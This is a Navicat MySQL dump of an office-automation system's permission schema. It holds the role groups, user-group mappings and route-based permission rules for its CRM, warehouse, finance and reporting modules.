/*
 Navicat Premium Data Transfer

 Source Server         : local
 Source Server Type    : MySQL
 Source Server Version : 50635
 Source Host           : localhost
 Source Database       : oa

 Target Server Type    : MySQL
 Target Server Version : 50635
 File Encoding         : utf-8

 Date: 01/29/2018 21:53:49 PM
*/

SET NAMES utf8;
SET FOREIGN_KEY_CHECKS = 0;

-- ----------------------------
--  Table structure for `xy_auth_group`
-- ----------------------------
DROP TABLE IF EXISTS `xy_auth_group`;
CREATE TABLE `xy_auth_group` (
  `id` mediumint(8) NOT NULL AUTO_INCREMENT,
  `type` tinyint(1) NOT NULL,
  `title` char(50) NOT NULL,
  `level` int(2) NOT NULL,
  `pid` int(4) NOT NULL,
  `sort` int(4) NOT NULL,
  `status` tinyint(1) NOT NULL DEFAULT '1',
  `rules` varchar(2000) NOT NULL,
  PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=25 DEFAULT CHARSET=utf8;

-- ----------------------------
--  Records of `xy_auth_group`
-- ----------------------------
BEGIN;
INSERT INTO `xy_auth_group` VALUES ('1', '0', '综合办公室', '0', '0', '1', '1', '2'), ('5', '1', '系统管理员', '1', '1', '1', '1', '309,310,311,312,313,314,315,316,317,318,319,320,321,322,323,324,325,326,327,328,329,330,331,332,333,334,335,336,337,338,339,340,341,342,343,344,345,346,347,348,349,350,351,352,353,354,355,356,357,358,359,360,361,362,363,364,403,365,366,402,367,368,369,370,371,372,373,374,375,376,377,404,378,379,380,381,382,383,384,385,386,387,388,389,390,391,392,393,394,395,398,396,397,405,399,401,400,406,407,408,409,410,411,412,413,414,415,416,417,418,419,420,421,422,423,424,425,426,441,427,428,429,430,431,432,436,433,434,435,437,438,439,440,442,443,444,445,446,447,451,448,449,450,452,453,454,455,456,457,458,459,460,461,462,463,464,465,466,467,468,469,472,470,471,473,474,475,476,477,478,480,479,481,482,483,484,485,486,487,488,292,294,295,296,297,298,299,300,301,302,303,304,305,306,307,308,1,2,5,3,4,6,7,8,9,10,11,12,13,14,15,16,17,58,18,19,20,21,22,23,56,24,261,262,263,264,265,266,25,26,27,28,57,29,30,31,32,33,34,35,36,247,61,60,37,38,59,39,40,41'), ('6', '1', '总经理', '1', '1', '2', '1', '309,310,311,312,313,316,317,318,319,320,321,324,325,326,327,330,331,332,333,335,336,337,338,341,342,343,344,345,346,349,350,351,352,353,354,355,356,359,360,361,362,403,365,366,402,367,368,369,370,371,372,373,376,377,404,378,379,380,381,384,385,386,387,390,391,392,393,398,396,397,405,537,399,401,406,407,408,409,412,413,414,415,416,419,420,421,422,423,426,441,427,428,429,430,436,433,434,435,437,438,439,440,442,443,444,445,451,448,449,450,452,453,454,455,456,457,458,459,462,463,464,465,466,467,472,470,471,473,474,475,476,480,479,481,482,483,484,485,488,490,532,533,535,536,491,492,493,494,495,496,497,498,499,500,501,502,503,504,505,506,507,508,509,510,511,512,513,514,515,516,295,296,297,298,299,301,302,303,304,306,307,308,5,3,4,6,7,9,10,11,12,13,15,16,17,58,18,19,21,22,23,262,263,264,36,247,61,60,38,59,40,41'), ('7', '1', '市场经理', '1', '15', '3', '1', '267,268,269,286,287,280,281,58'), ('14', '0', '财务部', '0', '0', '2', '1', ''), ('15', '0', '市场部', '0', '0', '3', '1', '309,310,311,312,313,318,319,320,321,324,325,326,327,335,336,337,338,339,340,341,342,343,344,345,346,347,348,349,350,353,354,359,360,361,362,363,364,403,365,366,402,367,368,369,370,371,372,373,374,376,377,404,378,379,380,381,384,385,386,387,390,391,392,393,394,398,397,405,537,399,401,406,407,408,409,412,413,414,415,418,490,532,533,491,492,493,494,496,498,499,500,501,502,503,504,505,506,517,518,521,522,523,526,527,528,531,292,294,295,305,306'), ('16', '0', '技术部', '0', '0', '4', '1', '309,310,311,312,313,318,319,320,321,324,325,326,327,335,336,337,338,339,340,341,342,343,344,345,346,348,349,350,351,353,354,359,360,361,362,363,364,403,365,366,402,367,368,369,413,414,415,418,292,294,295'), ('17', '1', '市场助理', '1', '15', '4', '1', '267,268,269,286,287,280,281'), ('18', '1', '技术工程师', '1', '16', '5', '1', '267,268,269,270,271,272,286,287,280,281,291,284'), ('20', '1', '会计', '1', '14', '0', '1', '309,310,311,312,313,314,316,317,318,319,321,324,325,326,327,335,336,337,338,339,340,341,342,343,344,345,346,349,350,351,352,353,354,359,360,361,362,363,364,403,365,366,402,367,368,369,390,391,399,401,419,420,421,422,423,425,426,441,463,464,465,466,467,468,469,473,474,475,476,477,478,482,483,484,485,486,487'), ('22', '1', '客服专员1', '1', '15', '6', '1', ''), ('23', '1', '客服专员2', '0', '0', '7', '1', ''), ('24', '0', 'ete', '1', '1', '0', '1', '');
COMMIT;

-- ----------------------------
--  Table structure for `xy_auth_group_access`
-- ----------------------------
DROP TABLE IF EXISTS `xy_auth_group_access`;
CREATE TABLE `xy_auth_group_access` (
  `uid` mediumint(8) NOT NULL,
  `group_id` mediumint(8) NOT NULL,
  KEY `uid` (`uid`),
  KEY `group_id` (`group_id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8;

-- ----------------------------
--  Records of `xy_auth_group_access`
-- ----------------------------
BEGIN;
INSERT INTO `xy_auth_group_access` VALUES ('1', '5'), ('1', '1'), ('15', '20'), ('15', '1'), ('8', '1'), ('8', '5'), ('14', '15'), ('14', '18'), ('13', '15'), ('13', '18'), ('12', '15'), ('12', '18'), ('11', '15'), ('11', '7'), ('10', '15'), ('10', '17'), ('9', '15'), ('9', '19'), ('15', '1'), ('15', '20'), ('8', '5'), ('8', '1'), ('1', '1'), ('1', '5'), ('14', '18'), ('14', '15'), ('13', '15'), ('13', '18'), ('12', '15'), ('12', '18'), ('11', '15'), ('11', '7'), ('10', '15'), ('10', '17'), ('9', '15'), ('9', '19'), ('16', '6'), ('16', '1'), ('17', '18'), ('17', '16'), ('18', '22'), ('18', '15'), ('19', '6'), ('19', '1');
COMMIT;

-- ----------------------------
--  Table structure for `xy_auth_rule`
-- ----------------------------
DROP TABLE IF EXISTS `xy_auth_rule`;
CREATE TABLE `xy_auth_rule` (
  `id` mediumint(8) NOT NULL AUTO_INCREMENT,
  `level` int(11) NOT NULL,
  `pid` int(11) NOT NULL,
  `name` char(80) NOT NULL DEFAULT '',
  `title` char(20) NOT NULL DEFAULT '',
  `type` tinyint(1) NOT NULL DEFAULT '1',
  `status` tinyint(1) NOT NULL DEFAULT '1',
  `condition` char(100) NOT NULL DEFAULT '',
  `sort` tinyint(4) NOT NULL,
  PRIMARY KEY (`id`),
  UNIQUE KEY `name` (`name`)
) ENGINE=InnoDB AUTO_INCREMENT=547 DEFAULT CHARSET=utf8;

-- ----------------------------
--  Records of `xy_auth_rule`
-- ----------------------------
BEGIN;
INSERT INTO `xy_auth_rule` VALUES ('1', '0', '0', 'home/system/index', '系统管理', '1', '1', '', '99'), ('2', '1', '1', 'home/org/', '部门管理', '1', '1', '', '1'), ('3', '2', '2', 'home/org/add', '新增', '1', '1', '', '1'), ('4', '2', '2', 'home/org/edit', '编辑', '1', '1', '', '2'), ('5', '2', '2', 'home/org/index', '查看', '1', '1', '', '0'), ('6', '2', '2', 'home/org/del', '删除', '1', '1', '', '3'), ('7', '2', '2', 'home/org/editrule', '权限', '1', '1', '', '4'), ('8', '1', '1', 'home/dep', '职位管理', '1', '1', '', '2'), ('9', '2', '8', 'home/dep/index', '查看', '1', '1', '', '0'), ('10', '2', '8', 'home/dep/add', '新增', '1', '1', '', '1'), ('11', '2', '8', 'home/dep/edit', '编辑', '1', '1', '', '2'), ('12', '2', '8', 'home/dep/del', '删除', '1', '1', '', '3'), ('13', '2', '8', 'home/dep/editrule', '权限', '1', '1', '', '4'), ('14', '1', '1', 'home/user/', '用户管理', '1', '1', '', '3'), ('15', '2', '14', 'home/user/index', '查看', '1', '1', '', '0'), ('16', '2', '14', 'home/user/add', '新增', '1', '1', '', '1'), ('17', '2', '14', 'home/user/edit', '编辑', '1', '1', '', '2'), ('18', '2', '14', 'home/user/del', '删除', '1', '1', '', '3'), ('19', '2', '14', 'home/user/editrule', '权限', '1', '1', '', '4'), ('20', '1', '1', 'home/config/', '数据字典', '1', '1', '', '4'), ('21', '2', '20', 'home/config/index', '查看', '1', '1', '', '0'), ('22', '2', '20', 'home/config/add', '新增', '1', '1', '', '1'), ('23', '2', '20', 'home/config/edit', '编辑', '1', '1', '', '2'), ('24', '2', '20', 'home/config/del', '删除', '1', '1', '', '3'), ('25', '1', '1', 'home/menu/', '菜单管理', '1', '1', '', '6'), ('26', '2', '25', 'home/menu/index', '查看', '1', '1', '', '0'), ('27', '2', '25', 'home/menu/add', '新增', '1', '1', '', '1'), ('28', '2', '25', 'home/menu/edit', '编辑', '1', '1', '', '2'), ('29', '2', '25', 'home/menu/del', '删除', '1', '1', '', '3'), ('30', '1', '1', 'home/rule/', '功能列表', '1', '1', '', '8'), ('31', '2', '30', 'home/rule/index', '查看', '1', '1', '', '0'), ('32', '2', '30', 'home/rule/add', '新增', '1', '1', '', '1'), ('33', '2', '30', 'home/rule/edit', '编辑', '1', '1', '', '2'), ('34', '2', '30', 'home/rule/del', '删除', '1', '1', '', '3'), ('35', '1', '1', 'home/database', '数据备份', '1', '1', '', '10'), ('36', '2', '35', 'home/database/index', '查看', '1', '1', '', '0'), ('37', '1', '1', 'home/database/', '备份文件', '1', '1', '', '11'), ('38', '2', '37', 'home/database/bakup', '查看', '1', '1', '', '0'), ('39', '1', '1', 'home/log', '操作日志', '1', '1', '', '15'), ('40', '2', '39', 'home/log/index', '查看', '1', '1', '', '0'), ('41', '2', '39', 'home/log/del', '删除', '1', '1', '', '1'), ('56', '2', '20', 'home/config/lock', '锁定', '1', '1', '', '2'), ('57', '2', '25', 'home/menu/lock', '锁定', '1', '1', '', '2'), ('58', '2', '14', 'home/baoming/lock', '锁定', '1', '1', '', '2'), ('59', '2', '37', 'home/database/del', '删除', '1', '1', '', '2'), ('60', '2', '35', 'home/database/repair', '修复', '1', '1', '', '5'), ('61', '2', '35', 'home/database/optimize', '优化', '1', '1', '', '3'), ('247', '2', '35', 'home/database/export', '备份', '1', '1', '', '1'), ('261', '1', '1', 'home/datalist/index', '分类字典', '1', '1', '', '5'), ('262', '2', '261', 'home/datalist/view', '查看', '1', '1', '', '0'), ('263', '2', '261', 'home/datalist/add', '新增', '1', '1', '', '1'), ('264', '2', '261', 'home/datalist/edit', '编辑', '1', '1', '', '2'), ('265', '2', '261', 'home/datalist/lock', '锁定', '1', '1', '', '3'), ('266', '2', '261', 'home/datalist/del', '删除', '1', '1', '', '4'), ('309', '0', '0', 'home/bangong/index', '个人办公', '1', '1', '', '0'), ('310', '1', '309', 'home/quxiang/index', '我的去向', '1', '1', '', '0'), ('311', '2', '310', 'home/quxiang/view', '查看', '1', '1', '', '0'), ('312', '2', '310', 'home/quxiang/add', '新增', '1', '1', '', '1'), ('313', '2', '310', 'home/quxiang/edit', '编辑', '1', '1', '', '2'), ('314', '2', '310', 'home/quxiang/lock', '锁定', '1', '1', '', '3'), ('315', '2', '310', 'home/quxiang/del', '删除', '1', '1', '', '4'), ('316', '1', '309', 'home/quxiangs/index', '员工去向', '1', '1', '', '2'), ('317', '2', '316', 'home/quxiangs/view', '查看', '1', '1', '', '0'), ('318', '1', '309', 'home/renwu/index', '我的任务', '1', '1', '', '3'), ('319', '2', '318', 'home/renwu/view', '查看', '1', '1', '', '0'), ('320', '2', '318', 'home/renwu/add', '新增', '1', '1', '', '1'), ('321', '2', '318', 'home/renwu/edit', '编辑', '1', '1', '', '2'), ('322', '2', '318', 'home/renwu/lock', '锁定', '1', '1', '', '3'), ('323', '2', '318', 'home/renwu/del', '删除', '1', '1', '', '4'), ('324', '1', '309', 'home/huibao/index', '工作汇报', '1', '1', '', '4'), ('325', '2', '324', 'home/huibao/view', '查看', '1', '1', '', '0'), ('326', '2', '324', 'home/huibao/add', '新增', '1', '1', '', '1'), ('327', '2', '324', 'home/huibao/edit', '编辑', '1', '1', '', '2'), ('328', '2', '324', 'home/huibao/lock', '锁定', '1', '1', '', '3'), ('329', '2', '324', 'home/huibao/del', '删除', '1', '1', '', '4'), ('330', '1', '309', 'home/huibaos/index', '批注汇报', '1', '1', '', '5'), ('331', '2', '330', 'home/huibaos/view', '查看', '1', '1', '', '0'), ('332', '2', '330', 'home/huibaos/edit', '编辑', '1', '1', '', '2'), ('333', '2', '330', 'home/huibaos/lock', '锁定', '1', '1', '', '3'), ('334', '2', '330', 'home/huibaos/del', '删除', '1', '1', '', '4'), ('335', '1', '309', 'home/wendang/index', '我的文档', '1', '1', '', '6'), ('336', '2', '335', 'home/wendang/view', '查看', '1', '1', '', '0'), ('337', '2', '335', 'home/wendang/add', '新增', '1', '1', '', '1'), ('338', '2', '335', 'home/wendang/edit', '编辑', '1', '1', '', '2'), ('339', '2', '335', 'home/wendang/lock', '锁定', '1', '1', '', '3'), ('340', '2', '335', 'home/wendang/del', '删除', '1', '1', '', '4'), ('341', '1', '309', 'home/wendangs/index', '共享文档', '1', '1', '', '7'), ('342', '2', '341', 'home/wendangs/view', '查看', '1', '1', '', '0'), ('343', '1', '309', 'home/zhishi/index', '知识管理', '1', '1', '', '8'), ('344', '2', '343', 'home/zhishi/view', '查看', '1', '1', '', '0'), ('345', '2', '343', 'home/zhishi/add', '新增', '1', '1', '', '1'), ('346', '2', '343', 'home/zhishi/edit', '编辑', '1', '1', '', '2'), ('347', '2', '343', 'home/zhishi/lock', '锁定', '1', '1', '', '3'), ('348', '2', '343', 'home/zhishi/del', '删除', '1', '1', '', '4'), ('349', '1', '309', 'home/msg/index', '我的消息', '1', '1', '', '9'), ('350', '2', '349', 'home/msg/view', '查看', '1', '1', '', '0'), ('351', '2', '349', 'home/msg/lock', '锁定', '1', '1', '', '3'), ('352', '2', '349', 'home/msg/del', '删除', '1', '1', '', '4'), ('353', '1', '309', 'home/tongzhi/index', '通知公告', '1', '1', '', '11'), ('354', '2', '353', 'home/tongzhi/view', '查看', '1', '1', '', '0'), ('355', '2', '353', 'home/tongzhi/add', '新增', '1', '1', '', '1'), ('356', '2', '353', 'home/tongzhi/edit', '编辑', '1', '1', '', '2'), ('357', '2', '353', 'home/tongzhi/lock', '锁定', '1', '1', '', '3'), ('358', '2', '353', 'home/tongzhi/del', '删除', '1', '1', '', '4'), ('359', '1', '309', 'home/wdtxl/index', '我的通讯录', '1', '1', '', '12'), ('360', '2', '359', 'home/wdtxl/view', '查看', '1', '1', '', '0'), ('361', '2', '359', 'home/wdtxl/add', '新增', '1', '1', '', '1'), ('362', '2', '359', 'home/wdtxl/edit', '编辑', '1', '1', '', '2'), ('363', '2', '359', 'home/wdtxl/lock', '锁定', '1', '1', '', '3'), ('364', '2', '359', 'home/wdtxl/del', '删除', '1', '1', '', '4'), ('365', '1', '309', 'home/ggtxl/index', '公共通讯录', '1', '1', '', '13'), ('366', '2', '365', 'home/ggtxl/view', '查看', '1', '1', '', '0'), ('367', '1', '309', 'home/dwtxl/index', '单位通讯录', '1', '1', '', '15'), ('368', '2', '367', 'home/dwtxl/view', '查看', '1', '1', '', '0'), ('370', '1', '369', 'home/cust/index', '潜在客户', '1', '1', '', '1'), ('371', '2', '370', 'home/cust/view', '查看', '1', '1', '', '0'), ('372', '2', '370', 'home/cust/add', '新增', '1', '1', '', '1'), ('373', '2', '370', 'home/cust/edit', '编辑', '1', '1', '', '2'), ('374', '2', '370', 'home/cust/lock', '锁定', '1', '1', '', '3'), ('375', '2', '370', 'home/cust/del', '删除', '1', '1', '', '4'), ('376', '2', '370', 'home/cust/daoqi', '待跟踪', '1', '1', '', '5'), ('377', '2', '370', 'home/cust/cheng', '成交客户', '1', '1', '', '6'), ('378', '1', '369', 'home/custcon/index', '联系人', '1', '1', '', '2'), ('379', '2', '378', 'home/custcon/view', '查看', '1', '1', '', '0'), ('380', '2', '378', 'home/custcon/add', '新增', '1', '1', '', '1'), ('381', '2', '378', 'home/custcon/edit', '编辑', '1', '1', '', '2'), ('382', '2', '378', 'home/custcon/lock', '锁定', '1', '1', '', '3'), ('383', '2', '378', 'home/custcon/del', '删除', '1', '1', '', '4'), ('384', '1', '369', 'home/custgd/index', '跟单记录', '1', '1', '', '3'), ('385', '2', '384', 'home/custgd/view', '查看', '1', '1', '', '0'), ('386', '2', '384', 'home/custgd/add', '新增', '1', '1', '', '1'), ('387', '2', '384', 'home/custgd/edit', '编辑', '1', '1', '', '2'), ('388', '2', '384', 'home/custgd/lock', '锁定', '1', '1', '', '3'), ('389', '2', '384', 'home/custgd/del', '删除', '1', '1', '', '4'), ('390', '1', '369', 'home/hetong/index', '合同管理', '1', '1', '', '5'), ('391', '2', '390', 'home/hetong/view', '查看', '1', '1', '', '0'), ('392', '2', '390', 'home/hetong/add', '新增', '1', '1', '', '1'), ('393', '2', '390', 'home/hetong/edit', '编辑', '1', '1', '', '2'), ('394', '2', '390', 'home/hetong/lock', '锁定', '1', '1', '', '3'), ('395', '2', '390', 'home/hetong/del', '删除', '1', '1', '', '4'), ('396', '2', '390', 'home/hetong/shenhe', '审核', '1', '1', '', '5'), ('397', '2', '390', 'home/hetong/dayin', '打印', '1', '1', '', '6'), ('398', '2', '390', 'home/hetong/dshenhe', '待审核', '1', '1', '', '4'), ('399', '1', '369', 'home/hetongs/index', '合同明细表', '1', '1', '', '7'), ('400', '2', '399', 'home/hetongs/del', '删除', '1', '1', '', '4'), ('401', '2', '399', 'home/hetongs/view', '查看', '1', '1', '', '1'), ('402', '2', '365', 'home/ggtxl/outxls', '导出', '1', '1', '', '5'), ('403', '2', '359', 'home/wdtxl/outxls', '导出', '1', '1', '', '5'), ('404', '2', '370', 'home/cust/outxls', '导出', '1', '1', '', '7'), ('405', '2', '390', 'home/hetong/outxls', '导出', '1', '1', '', '8'), ('406', '1', '369', 'home/huifang/index', '客户回访', '1', '1', '', '9'), ('407', '2', '406', 'home/huifang/view', '查看', '1', '1', '', '0'), ('408', '2', '406', 'home/huifang/add', '新增', '1', '1', '', '1'), ('409', '2', '406', 'home/huifang/edit', '编辑', '1', '1', '', '2'), ('410', '2', '406', 'home/huifang/lock', '锁定', '1', '1', '', '3'), ('411', '2', '406', 'home/huifang/del', '删除', '1', '1', '', '4'), ('412', '2', '406', 'home/huifang/outxls', '导出', '1', '1', '', '6'), ('413', '1', '369', 'home/tousu/index', '投诉管理', '1', '1', '', '10'), ('414', '2', '413', 'home/tousu/view', '查看', '1', '1', '', '0'), ('415', '2', '413', 'home/tousu/edit', '编辑', '1', '1', '', '2'), ('416', '2', '413', 'home/tousu/lock', '锁定', '1', '1', '', '3'), ('417', '2', '413', 'home/tousu/del', '删除', '1', '1', '', '4'), ('418', '2', '413', 'home/tousu/outxls', '导出', '1', '1', '', '6'), ('419', '0', '0', 'home/cangku/index', '仓库管理', '1', '1', '', '3'), ('420', '1', '419', 'home/chanpin/index', '产品管理', '1', '1', '', '1'), ('421', '2', '420', 'home/chanpin/view', '查看', '1', '1', '', '0'), ('422', '2', '420', 'home/chanpin/add', '新增', '1', '1', '', '1'), ('423', '2', '420', 'home/chanpin/edit', '编辑', '1', '1', '', '2'), ('424', '2', '420', 'home/chanpin/lock', '锁定', '1', '1', '', '3'), ('425', '2', '420', 'home/chanpin/del', '删除', '1', '1', '', '4'), ('426', '2', '420', 'home/chanpin/outxls', '导出', '1', '1', '', '6'), ('427', '1', '419', 'home/ruku/index', '入库管理', '1', '1', '', '2'), ('428', '2', '427', 'home/ruku/view', '查看', '1', '1', '', '0'), ('429', '2', '427', 'home/ruku/add', '新增', '1', '1', '', '1'), ('430', '2', '427', 'home/ruku/edit', '编辑', '1', '1', '', '2'), ('431', '2', '427', 'home/ruku/lock', '锁定', '1', '1', '', '3'), ('432', '2', '427', 'home/ruku/del', '删除', '1', '1', '', '4'), ('433', '2', '427', 'home/ruku/shenhe', '审核', '1', '1', '', '5'), ('434', '2', '427', 'home/ruku/dayin', '打印', '1', '1', '', '6'), ('435', '2', '427', 'home/ruku/outxls', '导出', '1', '1', '', '6'), ('436', '2', '427', 'home/ruku/dshenhe', '待审核', '1', '1', '', '4'), ('437', '1', '419', 'home/rukus/index', '入库明细表', '1', '1', '', '3'), ('438', '2', '437', 'home/rukus/view', '查看', '1', '1', '', '0'), ('439', '2', '437', 'home/rukus/del', '删除', '1', '1', '', '4'), ('440', '2', '437', 'home/rukus/outxls', '导出', '1', '1', '', '6'), ('441', '2', '420', 'home/chanpin/baojing', '库存报警', '1', '1', '', '7'), ('442', '1', '419', 'home/chuku/index', '出库管理', '1', '1', '', '6'), ('443', '2', '442', 'home/chuku/view', '查看', '1', '1', '', '0'), ('444', '2', '442', 'home/chuku/add', '新增', '1', '1', '', '1'), ('445', '2', '442', 'home/chuku/edit', '编辑', '1', '1', '', '2'), ('446', '2', '442', 'home/chuku/lock', '锁定', '1', '1', '', '3'), ('447', '2', '442', 'home/chuku/del', '删除', '1', '1', '', '4'), ('448', '2', '442', 'home/chuku/shenhe', '审核', '1', '1', '', '5'), ('449', '2', '442', 'home/chuku/dayin', '打印', '1', '1', '', '6'), ('450', '2', '442', 'home/chuku/outxls', '导出', '1', '1', '', '6'), ('451', '2', '442', 'home/chuku/dshenhe', '待审核', '1', '1', '', '4'), ('452', '1', '419', 'home/chukus/index', '出库明细表', '1', '1', '', '7'), ('453', '2', '452', 'home/chukus/view', '查看', '1', '1', '', '0'), ('454', '2', '452', 'home/chukus/del', '删除', '1', '1', '', '4'), ('455', '2', '452', 'home/chukus/outxls', '导出', '1', '1', '', '6'), ('456', '1', '419', 'home/fahuo/index', '发货记录', '1', '1', '', '11'), ('457', '2', '456', 'home/fahuo/view', '查看', '1', '1', '', '0'), ('458', '2', '456', 'home/fahuo/add', '新增', '1', '1', '', '1'), ('459', '2', '456', 'home/fahuo/edit', '编辑', '1', '1', '', '2'), ('460', '2', '456', 'home/fahuo/lock', '锁定', '1', '1', '', '3'), ('461', '2', '456', 'home/fahuo/del', '删除', '1', '1', '', '4'), ('462', '2', '456', 'home/fahuo/outxls', '导出', '1', '1', '', '6'), ('463', '0', '0', 'home/caiwu/index', '财务管理', '1', '1', '', '6'), ('464', '1', '463', 'home/shou/index', '收款记录', '1', '1', '', '1'), ('465', '2', '464', 'home/shou/view', '查看', '1', '1', '', '0'), ('466', '2', '464', 'home/shou/add', '新增', '1', '1', '', '1'), ('467', '2', '464', 'home/shou/edit', '编辑', '1', '1', '', '2'), ('468', '2', '464', 'home/shou/lock', '锁定', '1', '1', '', '3'), ('469', '2', '464', 'home/shou/del', '删除', '1', '1', '', '4'), ('470', '2', '464', 'home/shou/shenhe', '审核', '1', '1', '', '5'), ('471', '2', '464', 'home/shou/outxls', '导出', '1', '1', '', '6'), ('472', '2', '464', 'home/shou/dshenhe', '待审核', '1', '1', '', '4'), ('473', '1', '463', 'home/fukuan/index', '付款记录', '1', '1', '', '2'), ('474', '2', '473', 'home/fukuan/view', '查看', '1', '1', '', '0'), ('475', '2', '473', 'home/fukuan/add', '新增', '1', '1', '', '1'), ('476', '2', '473', 'home/fukuan/edit', '编辑', '1', '1', '', '2'), ('477', '2', '473', 'home/fukuan/lock', '锁定', '1', '1', '', '3'), ('478', '2', '473', 'home/fukuan/del', '删除', '1', '1', '', '4'), ('479', '2', '473', 'home/fukuan/shenhe', '审核', '1', '1', '', '5'), ('480', '2', '473', 'home/fukuan/dshenhe', '待审核', '1', '1', '', '4'), ('481', '2', '473', 'home/fukuan/outxls', '导出', '1', '1', '', '6'), ('482', '1', '463', 'home/kaipiao/index', '开票记录', '1', '1', '', '3'), ('483', '2', '482', 'home/kaipiao/view', '查看', '1', '1', '', '0'), ('484', '2', '482', 'home/kaipiao/add', '新增', '1', '1', '', '1'), ('485', '2', '482', 'home/kaipiao/edit', '编辑', '1', '1', '', '2'), ('486', '2', '482', 'home/kaipiao/lock', '锁定', '1', '1', '', '3'), ('487', '2', '482', 'home/kaipiao/del', '删除', '1', '1', '', '4'), ('488', '2', '482', 'home/kaipiao/outxls', '导出', '1', '1', '', '6'), ('489', '1', '1', 'home/public/clear', '清理缓存', '1', '1', '', '20'), ('490', '0', '0', 'home/tongji/index', '统计分析', '1', '1', '', '9'), ('491', '1', '490', 'home/fxcust/index', '客户管理', '1', '1', '', '1'), ('492', '2', '491', 'home/fxcust/xuqiu', '需求分析', '1', '1', '', '0'), ('493', '2', '491', 'home/fxcust/laiyuan', '来源分析', '1', '1', '', '1'), ('494', '2', '491', 'home/fxcust/jinzhan', '进展分析', '1', '1', '', '2'), ('495', '2', '491', 'home/fxcust/yewu', '业务员分析', '1', '1', '', '3'), ('496', '2', '491', 'home/fxcust/qushi', '增长趋势', '1', '1', '', '4'), ('497', '2', '491', 'home/fxcust/', '综合分析', '1', '1', '', '6'), ('498', '1', '490', 'home/fxhetong/index', '合同管理', '1', '1', '', '2'), ('499', '2', '498', 'home/fxhetong/qushi', '增长趋势(数量)', '1', '1', '', '0'), ('500', '2', '498', 'home/fxhetong/qushijin', '签约金额', '1', '1', '', '1'), ('501', '2', '498', 'home/fxhetong/qushishou', '已收款', '1', '1', '', '2'), ('502', '2', '498', 'home/fxhetong/qushiwei', '未收款', '1', '1', '', '3'), ('503', '2', '498', 'home/fxhetong/qushipiao', '已开票', '1', '1', '', '4'), ('504', '2', '498', 'home/fxhetong/type', '类型分析', '1', '1', '', '5'), ('505', '2', '498', 'home/fxhetong/jingban', '业务员分析', '1', '1', '', '6'), ('506', '2', '498', 'home/fxhetong/daoqi', '到期合同', '1', '1', '', '6'), ('507', '1', '490', 'home/fxchanpin/index', '仓库管理', '1', '1', '', '3'), ('508', '2', '507', 'home/fxchanpin/rukus', '入库分析', '1', '1', '', '0'), ('509', '2', '507', 'home/fxchanpin/chukus', '出库分析', '1', '1', '', '1'), ('510', '2', '507', 'home/tjchanpin/index', '库存统计', '1', '1', '', '2'), ('511', '2', '507', 'home/tjchanpin/dayin', '库存统计打印', '1', '1', '', '3'), ('512', '1', '490', 'home/fxcaiwu/index', '财务管理', '1', '1', '', '4'), ('513', '2', '512', 'home/fxcaiwu/shou', '收款分析', '1', '1', '', '0'), ('514', '2', '512', 'home/fxcaiwu/fukuan', '付款分析', '1', '1', '', '1'), ('515', '2', '512', 'home/fxcaiwu/leixing', '付款类型', '1', '1', '', '2'), ('516', '2', '512', 'home/fxcaiwu/jingban', '业务员付款分析', '1', '1', '', '3'), ('517', '1', '490', 'home/msgs/index', '消息记录', '1', '1', '', '10'), ('518', '2', '517', 'home/msgs/view', '查看', '1', '1', '', '0'), ('519', '2', '517', 'home/msgs/lock', '锁定', '1', '1', '', '3'), ('520', '2', '517', 'home/msgs/del', '删除', '1', '1', '', '4'), ('521', '2', '517', 'home/msgs/outxls', '导出', '1', '1', '', '6'), ('522', '1', '490', 'home/emails/index', '邮件记录', '1', '1', '', '11'), ('523', '2', '522', 'home/emails/view', '查看', '1', '1', '', '0'), ('524', '2', '522', 'home/emails/lock', '锁定', '1', '1', '', '3'), ('525', '2', '522', 'home/emails/del', '删除', '1', '1', '', '4'), ('526', '2', '522', 'home/emails/outxls', '导出', '1', '1', '', '6'), ('527', '1', '490', 'home/smss/index', '短信记录', '1', '1', '', '12'), ('528', '2', '527', 'home/smss/view', '查看', '1', '1', '', '0'), ('529', '2', '527', 'home/smss/lock', '锁定', '1', '1', '', '3'), ('530', '2', '527', 'home/smss/del', '删除', '1', '1', '', '4'), ('531', '2', '527', 'home/smss/outxls', '导出', '1', '1', '', '6'), ('532', '1', '490', 'home/tjhetong/index', '业绩统计', '1', '1', '', '0'), ('533', '2', '532', 'home/tjhetong/dayin', '打印', '1', '1', '', '0'), ('535', '1', '490', 'home/tjbiao/index', '老板一张表', '1', '1', '', '0'), ('536', '2', '535', 'home/tjbiao/dayin', '打印', '1', '1', '', '0'), ('537', '2', '390', 'home/hetong/daoqi', '到期', '1', '1', '', '8'), ('546', '0', '0', 'home/kehu/index', '客户管理', '1', '1', '', '1');
COMMIT;

-- ----------------------------
--  Table structure for `xy_config`
-- ----------------------------
DROP TABLE IF EXISTS `xy_config`;
CREATE TABLE `xy_config` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `fenlei` varchar(20) NOT NULL COMMENT '分类',
  `name` varchar(30) NOT NULL DEFAULT '' COMMENT '配置名称',
  `type` tinyint(3) NOT NULL DEFAULT '0' COMMENT '配置类型',
  `title` varchar(50) NOT NULL DEFAULT '' COMMENT '配置说明',
  `extra` varchar(255) NOT NULL DEFAULT '' COMMENT '配置值',
  `remark` varchar(100) NOT NULL COMMENT '配置说明',
  `addtime` datetime NOT NULL COMMENT '创建时间',
  `updatetime` datetime NOT NULL COMMENT '更新时间',
  `status` tinyint(4) NOT NULL DEFAULT '1' COMMENT '状态',
  `value` text NOT NULL COMMENT '配置值',
  `sort` smallint(3) NOT NULL DEFAULT '0' COMMENT '排序',
  PRIMARY KEY (`id`)
) ENGINE=InnoDB AUTO_INCREMENT=69 DEFAULT CHARSET=utf8;

-- ----------------------------
--  Records of `xy_config`
-- ----------------------------
BEGIN;
